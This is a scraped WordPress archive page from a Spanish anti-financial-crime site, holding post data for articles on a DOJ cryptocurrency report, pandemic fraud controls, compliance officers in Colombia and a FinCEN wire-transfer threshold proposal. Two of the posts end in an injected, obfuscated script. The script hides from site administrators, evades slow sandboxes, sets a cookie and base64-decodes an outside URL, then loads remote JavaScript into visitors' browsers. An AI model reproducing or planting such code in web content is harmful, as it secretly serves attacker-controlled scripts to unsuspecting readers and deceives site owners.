internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" 